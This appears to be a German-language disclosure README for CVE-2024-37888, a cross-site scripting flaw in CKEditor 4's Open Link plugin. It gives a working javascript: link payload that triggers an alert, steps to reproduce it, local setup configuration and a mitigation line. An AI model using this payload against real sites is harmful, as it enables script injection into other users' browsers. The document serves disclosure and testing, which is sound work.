
XSS PoC/Exploit für das Open Link Plugin von CKEditor 4
Dieses Repository dokumentiert Schwachstellendetails und Exploit für CVE-2024-37888, entdeckt und gemeldet von mir selbst.
Dieser Proof of Concept (POC) demonstriert die Ausnutzung einer XSS-Schwachstelle, die ich kürzlich im Open Link Plugin entdeckt habe, das bei Aktivierung direkt alle Versionen von CKEditor 4 betrifft. Der Fehler ermöglicht die Ausführung von JavaScript durch präparierte Links im Editor, die das Plugin nicht bereinigt. Diese Schwachstelle kann nur innerhalb des Textbereichs ausgenutzt werden, wenn das Open Link Plugin installiert ist. Das Open Link Plugin erlaubt es, Links direkt im Bearbeitungsbereich zu öffnen.
Diese Schwachstelle kann mit der vorkonfigurierten CKEditor-Instanz getestet werden, die hier verfügbar ist.
Payload einfügen:
Öffnen Sie die CKEditor-Instanz und klicken Sie auf das "Source"-Symbol.
Fügen Sie den folgenden Payload in das Textfeld ein:
<a href="javascript:alert('XSS Found')">XSS</a>

In den WYSIWYG-Modus wechseln:

XSS auslösen:

Sie können Ihre eigene lokale Instanz einrichten, um diese Schwachstelle zu testen, indem Sie die folgenden Schritte befolgen.
CKEditor 4 herunterladen:

Open Link Plugin installieren:
ckeditor/plugins/openlink.
Konfiguration aktualisieren, um das OpenLink Plugin einzubinden:
config.js von CKEditor, indem Sie die folgenden Zeilen am Ende hinzufügen:config.extraPlugins = 'openlink';
config.linkShowTargetTab = false; // Hide link target tab
config.openlink_modifier = 0; // No modifier for opening links
config.openlink_enableReadOnly = true; // Allow links to open in read-only mode
config.js:CKEDITOR.editorConfig = function( config ) {
// Define changes to default configuration here.
config.extraPlugins = 'openlink';
config.linkShowTargetTab = false;
config.openlink_modifier = 0;
config.openlink_enableReadOnly = true;
};
Diese Schwachstelle wurde in der Codebasis des Open Link Plugins entdeckt und nicht in der Codebasis von CKEditor 4. Der obige POC demonstriert die Ausnutzung einer XSS-Schwachstelle über das Open Link Plugin in CKEditor 4.*.*. Der Fehler ermöglicht die Ausführung beliebigen JavaScripts durch speziell präparierte Links und stellt ein erhebliches Sicherheitsrisiko dar.
config.disallowedContent = 'a[onclick]';
CKEditor in HTML einbinden:
<!DOCTYPE html>
<html>
<head>
<script src="path/to/ckeditor/ckeditor.js"></script>
</head>
<body>
<textarea name="editor1" id="editor1"></textarea>
<script>
CKEDITOR.replace('editor1');
</script>
</body>
</html>
